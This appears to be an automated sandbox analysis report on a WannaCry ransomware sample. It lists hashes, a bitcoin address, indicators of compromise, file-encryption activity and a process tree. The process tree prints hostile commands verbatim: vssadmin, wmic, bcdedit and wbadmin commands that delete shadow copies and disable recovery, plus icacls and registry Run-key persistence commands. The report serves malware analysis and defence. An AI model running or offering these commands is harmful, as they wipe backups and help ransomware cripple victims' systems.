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210303-eg4g1z4wd2 10Analysis
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max time kernel
142s -
max time network
140s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
07/04/2021, 20:23
Static task
static1
Behavioral task
behavioral1
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10v20201028
General
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Target
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
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Size
3.4MB
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MD5
84c82835a5d21bbcf75a61706d8ab549
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SHA1
5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
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SHA256
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
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SHA512
90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\@[email protected]
wannacry
115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
Signatures
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Wannacry
WannaCry is a ransomware cryptoworm.
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A 64 IoCs
resource yara_rule A A A A A A A A A A A A A A A A A behavioral1/memory/1020-4-0x00000000753E1000-0x00000000753E3000-memory.dmp A behavioral1/memory/1020-7-0x0000000010000000-0x0000000010010000-memory.dmp A behavioral1/files/0x0003000000013104-36.dat A behavioral1/files/0x0003000000013103-35.dat A behavioral1/files/0x0003000000013102-34.dat A behavioral1/files/0x000300000001310b-41.dat A behavioral1/files/0x000300000001310a-40.dat A behavioral1/files/0x0003000000013108-39.dat A behavioral1/files/0x0003000000013106-38.dat A behavioral1/files/0x0003000000013105-37.dat A behavioral1/files/0x0003000000013101-33.dat A behavioral1/files/0x0003000000013100-32.dat A behavioral1/files/0x00030000000130ff-31.dat A behavioral1/files/0x00030000000130fe-30.dat A behavioral1/files/0x00030000000130fd-29.dat A behavioral1/files/0x00030000000130fc-28.dat A behavioral1/files/0x00030000000130fb-27.dat A behavioral1/files/0x00030000000130fa-26.dat A behavioral1/files/0x00030000000130f9-25.dat A behavioral1/files/0x00030000000130f8-24.dat A behavioral1/files/0x00030000000130f7-23.dat A behavioral1/files/0x00030000000130f6-22.dat A behavioral1/files/0x00030000000130f5-21.dat A behavioral1/files/0x00030000000130f4-20.dat A behavioral1/files/0x00030000000130f3-19.dat A behavioral1/files/0x00030000000130f2-18.dat A behavioral1/files/0x00030000000130f1-17.dat A behavioral1/files/0x00030000000130f0-16.dat A behavioral1/files/0x00030000000130ef-15.dat A behavioral1/files/0x00030000000130ee-14.dat A behavioral1/files/0x00030000000130ed-13.dat A behavioral1/files/0x00030000000130ec-12.dat A behavioral1/files/0x00030000000130eb-11.dat A behavioral1/files/0x00030000000130ea-10.dat A behavioral1/files/0x00030000000130e9-9.dat A behavioral1/files/0x00030000000130e8-8.dat A behavioral1/files/0x0003000000013108-45.dat A behavioral1/files/0x0003000000013108-43.dat A behavioral1/files/0x0003000000013108-42.dat A behavioral1/files/0x0003000000013111-47.dat A behavioral1/files/0x0003000000013136-49.dat A behavioral1/files/0x0003000000013110-51.dat A behavioral1/files/0x0003000000013110-52.dat A behavioral1/memory/916-53-0x00000000027B0000-0x00000000027B4000-memory.dmp A behavioral1/files/0x0003000000013180-54.dat A behavioral1/files/0x0003000000013110-55.dat A behavioral1/files/0x0003000000013110-56.dat A -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Executes dropped EXE 16 IoCs
pid Process 852 taskdl.exe 1700 @[email protected] 1932 @[email protected] 1708 taskhsvc.exe 1804 taskse.exe 1156 @[email protected] 920 taskdl.exe 1596 taskse.exe 1964 @[email protected] 1940 taskdl.exe 944 taskse.exe 1188 @[email protected] 852 taskdl.exe 328 taskse.exe 2024 @[email protected] 1528 taskdl.exe -
Modifies extensions of user files 23 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\RegisterUnblock.png.WNCRYT => C:\Users\Admin\Pictures\RegisterUnblock.png.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\SelectEdit.tif.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\SelectEdit.tif.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\UnlockExit.tif.WNCRYT => C:\Users\Admin\Pictures\UnlockExit.tif.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\BlockInitialize.tif.WNCRYT => C:\Users\Admin\Pictures\BlockInitialize.tif.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\BlockInitialize.tif.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\GrantProtect.tiff.WNCRYT => C:\Users\Admin\Pictures\GrantProtect.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\RegisterUnblock.png.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\UnlockExit.tif.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\BlockInitialize.tif.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\GrantProtect.tiff.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\MeasureWatch.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\GrantProtect.tiff ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\MeasureWatch.tiff ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\GrantProtect.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\MeasureWatch.tiff.WNCRYT => C:\Users\Admin\Pictures\MeasureWatch.tiff.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\RegisterUnblock.png.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\WaitExport.raw.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\Pictures\WaitExport.raw.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\MeasureWatch.tiff.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\SelectEdit.tif.WNCRYT => C:\Users\Admin\Pictures\SelectEdit.tif.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File created C:\Users\Admin\Pictures\UnlockExit.tif.WNCRYT ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File renamed C:\Users\Admin\Pictures\WaitExport.raw.WNCRYT => C:\Users\Admin\Pictures\WaitExport.raw.WNCRY ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Drops startup file 1 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD81D0.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Loads dropped DLL 39 IoCs
pid Process 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 916 cscript.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1936 cmd.exe 1936 cmd.exe 1700 @[email protected] 1700 @[email protected] 1708 taskhsvc.exe 1708 taskhsvc.exe 1708 taskhsvc.exe 1708 taskhsvc.exe 1708 taskhsvc.exe 1708 taskhsvc.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1964 icacls.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\hbntsshfevel836 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" reg.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" @[email protected] -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1740 vssadmin.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 860 reg.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1708 taskhsvc.exe 1708 taskhsvc.exe 1708 taskhsvc.exe -
Suspicious use of AdjustPrivilegeToken 51 IoCs
description pid Process Token: SeBackupPrivilege 1884 vssvc.exe Token: SeRestorePrivilege 1884 vssvc.exe Token: SeAuditPrivilege 1884 vssvc.exe Token: SeIncreaseQuotaPrivilege 520 WMIC.exe Token: SeSecurityPrivilege 520 WMIC.exe Token: SeTakeOwnershipPrivilege 520 WMIC.exe Token: SeLoadDriverPrivilege 520 WMIC.exe Token: SeSystemProfilePrivilege 520 WMIC.exe Token: SeSystemtimePrivilege 520 WMIC.exe Token: SeProfSingleProcessPrivilege 520 WMIC.exe Token: SeIncBasePriorityPrivilege 520 WMIC.exe Token: SeCreatePagefilePrivilege 520 WMIC.exe Token: SeBackupPrivilege 520 WMIC.exe Token: SeRestorePrivilege 520 WMIC.exe Token: SeShutdownPrivilege 520 WMIC.exe Token: SeDebugPrivilege 520 WMIC.exe Token: SeSystemEnvironmentPrivilege 520 WMIC.exe Token: SeRemoteShutdownPrivilege 520 WMIC.exe Token: SeUndockPrivilege 520 WMIC.exe Token: SeManageVolumePrivilege 520 WMIC.exe Token: 33 520 WMIC.exe Token: 34 520 WMIC.exe Token: 35 520 WMIC.exe Token: SeIncreaseQuotaPrivilege 520 WMIC.exe Token: SeSecurityPrivilege 520 WMIC.exe Token: SeTakeOwnershipPrivilege 520 WMIC.exe Token: SeLoadDriverPrivilege 520 WMIC.exe Token: SeSystemProfilePrivilege 520 WMIC.exe Token: SeSystemtimePrivilege 520 WMIC.exe Token: SeProfSingleProcessPrivilege 520 WMIC.exe Token: SeIncBasePriorityPrivilege 520 WMIC.exe Token: SeCreatePagefilePrivilege 520 WMIC.exe Token: SeBackupPrivilege 520 WMIC.exe Token: SeRestorePrivilege 520 WMIC.exe Token: SeShutdownPrivilege 520 WMIC.exe Token: SeDebugPrivilege 520 WMIC.exe Token: SeSystemEnvironmentPrivilege 520 WMIC.exe Token: SeRemoteShutdownPrivilege 520 WMIC.exe Token: SeUndockPrivilege 520 WMIC.exe Token: SeManageVolumePrivilege 520 WMIC.exe Token: 33 520 WMIC.exe Token: 34 520 WMIC.exe Token: 35 520 WMIC.exe Token: SeTcbPrivilege 1804 taskse.exe Token: SeTcbPrivilege 1804 taskse.exe Token: SeTcbPrivilege 1596 taskse.exe Token: SeTcbPrivilege 1596 taskse.exe Token: SeTcbPrivilege 944 taskse.exe Token: SeTcbPrivilege 944 taskse.exe Token: SeTcbPrivilege 328 taskse.exe Token: SeTcbPrivilege 328 taskse.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 1700 @[email protected] 1932 @[email protected] 1700 @[email protected] 1932 @[email protected] 1964 @[email protected] 1964 @[email protected] 1156 @[email protected] 1188 @[email protected] 2024 @[email protected] -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1020 wrote to memory of 1868 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 1020 wrote to memory of 1868 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 1020 wrote to memory of 1868 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 1020 wrote to memory of 1868 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 1020 wrote to memory of 1964 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 1020 wrote to memory of 1964 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 1020 wrote to memory of 1964 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 1020 wrote to memory of 1964 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 1020 wrote to memory of 852 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 1020 wrote to memory of 852 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 1020 wrote to memory of 852 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 1020 wrote to memory of 852 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 1020 wrote to memory of 748 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 1020 wrote to memory of 748 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 1020 wrote to memory of 748 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 1020 wrote to memory of 748 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 748 wrote to memory of 916 748 cmd.exe 36 PID 748 wrote to memory of 916 748 cmd.exe 36 PID 748 wrote to memory of 916 748 cmd.exe 36 PID 748 wrote to memory of 916 748 cmd.exe 36 PID 1020 wrote to memory of 1700 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 38 PID 1020 wrote to memory of 1700 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 38 PID 1020 wrote to memory of 1700 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 38 PID 1020 wrote to memory of 1700 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 38 PID 1020 wrote to memory of 1936 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 39 PID 1020 wrote to memory of 1936 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 39 PID 1020 wrote to memory of 1936 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 39 PID 1020 wrote to memory of 1936 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 39 PID 1936 wrote to memory of 1932 1936 cmd.exe 41 PID 1936 wrote to memory of 1932 1936 cmd.exe 41 PID 1936 wrote to memory of 1932 1936 cmd.exe 41 PID 1936 wrote to memory of 1932 1936 cmd.exe 41 PID 1700 wrote to memory of 1708 1700 @[email protected] 42 PID 1700 wrote to memory of 1708 1700 @[email protected] 42 PID 1700 wrote to memory of 1708 1700 @[email protected] 42 PID 1700 wrote to memory of 1708 1700 @[email protected] 42 PID 1932 wrote to memory of 1116 1932 @[email protected] 44 PID 1932 wrote to memory of 1116 1932 @[email protected] 44 PID 1932 wrote to memory of 1116 1932 @[email protected] 44 PID 1932 wrote to memory of 1116 1932 @[email protected] 44 PID 1116 wrote to memory of 1740 1116 cmd.exe 46 PID 1116 wrote to memory of 1740 1116 cmd.exe 46 PID 1116 wrote to memory of 1740 1116 cmd.exe 46 PID 1116 wrote to memory of 1740 1116 cmd.exe 46 PID 1116 wrote to memory of 520 1116 cmd.exe 48 PID 1116 wrote to memory of 520 1116 cmd.exe 48 PID 1116 wrote to memory of 520 1116 cmd.exe 48 PID 1116 wrote to memory of 520 1116 cmd.exe 48 PID 1020 wrote to memory of 1804 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 50 PID 1020 wrote to memory of 1804 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 50 PID 1020 wrote to memory of 1804 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 50 PID 1020 wrote to memory of 1804 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 50 PID 1020 wrote to memory of 1156 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 51 PID 1020 wrote to memory of 1156 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 51 PID 1020 wrote to memory of 1156 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 51 PID 1020 wrote to memory of 1156 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 51 PID 1020 wrote to memory of 1628 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 52 PID 1020 wrote to memory of 1628 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 52 PID 1020 wrote to memory of 1628 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 52 PID 1020 wrote to memory of 1628 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 52 PID 1020 wrote to memory of 920 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 53 PID 1020 wrote to memory of 920 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 53 PID 1020 wrote to memory of 920 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 53 PID 1020 wrote to memory of 920 1020 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 53 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1868 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Loads dropped DLL
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
PID:1020 -
C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
PID:1868
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C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:1964
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:852
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C:\Windows\SysWOW64\cmd.execmd /c 115731617833979.bat2⤵
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵
- Loads dropped DLL
PID:916
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C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1708
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C:\Windows\SysWOW64\cmd.execmd.exe /c start /b @[email protected] vs2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Users\Admin\AppData\Local\Temp\@[email protected]3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
PID:1740
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Suspicious use of AdjustPrivilegeToken
PID:520
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1804
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1156
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C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hbntsshfevel836" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵PID:1628
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C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hbntsshfevel836" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Adds Run key to start application
- Modifies registry key
PID:860
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:920
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1596
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C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
PID:1964
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1940
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:944
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1188
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:852
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:328
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:2024
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1528
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1884